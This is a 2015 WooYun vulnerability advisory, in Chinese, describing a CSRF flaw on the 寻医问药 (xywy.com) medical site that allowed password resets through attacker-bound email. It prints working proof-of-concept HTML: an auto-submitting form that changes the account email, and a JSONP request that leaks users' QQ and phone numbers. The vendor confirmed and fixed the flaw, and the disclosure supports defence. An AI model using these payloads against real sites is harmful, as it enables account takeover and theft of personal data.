当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124033

漏洞标题:寻医问药可劫持重置任意用户帐号密码

相关厂商:寻医问药

漏洞作者: jeary

提交时间:2015-07-02 10:22

修复时间:2015-08-14 09:35

公开时间:2015-08-14 09:35

漏洞类型:CSRF

危害等级:高

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-02: 细节已通知厂商并且等待厂商处理中
2015-07-02: 厂商已经确认,细节仅向厂商公开
2015-07-12: 细节向核心白帽子及相关领域专家公开
2015-07-22: 细节向普通白帽子公开
2015-08-01: 细节向实习白帽子公开
2015-08-14: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

之前用敏感接口的问题可以与用户交互获取密码进入账号,然而已经修复了,可这还是无法阻止我进入他人的账号~

详细说明:

由于寻医问药全站都没有防止CSRF,就在我以为敏感操作被被我提交得差不多的时候,我看见了账号认证这个功能。

111.jpg


这个发送认证邮件是存在CSRF的,导致可以绑定攻击者的邮箱,然后即可重置密码。
请求如下:

POST /ajax/sendMail.php HTTP/1.1
[email protected]&oldemail=*********@qq.com


一开始我以为如果用户绑定过邮箱,我就必须得找到用户使用的邮箱,这样就略显鸡肋的,我还特地找了办法来劫持获取邮箱,经过测试后发现oldemail是多余的,删除此参数,依然可以发送认证邮件。
POC:(oldEmail已经注释了)

<html>
<body>
<form action="http://user.app.xywy.com/ajax/sendMail.php" method="POST">
<input type="hidden" name="newemail" value="[email protected]" />
<!--<input type="hidden" name="oldemail" value="*********@qq.com" /> -->
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


(POC访问效果去证明看图~~)
PS:虽然这里不需要知道用户使用的当前邮箱账号,不过既然找到了,顺便发出来~~
这里使用接口获取用户邮箱、手机号、邮箱,在需要oldmail的情况下可以将两个POC改一下写在一起。

<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-1.9.1.min.js"></script>
<meta charset="GBK">
<title>POC</title>
</head>
<body>
<p>result:</p>
<script>
$.getJSON('http://ucenter.xywy.com/index.php?act=api_data&apitype=left&callback=?',function(json){
document.body.appendChild(document.createElement('p')).innerHTML=json.content.qq+"<br/>"+json.content.phone+"<br/>"+json.content.telephone;
;
})
</script>
</body>
</html>


效果:

03.jpg

漏洞证明:

02.jpg


然后点击邮箱里的链接即可绑定攻击者的邮箱,然后去使用忘记密码功能重置密码即可。
危害较大,求不小厂商~~

修复方案:

1.token
2.referer
3.callback

版权声明:转载请注明来源 jeary@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-07-02 10:31

厂商回复:

对于那些表面存在然而实际并没卵用的前端验证防御机制我也是醉了,一定严肃处理。。

最新状态:

2015-08-14:已修复。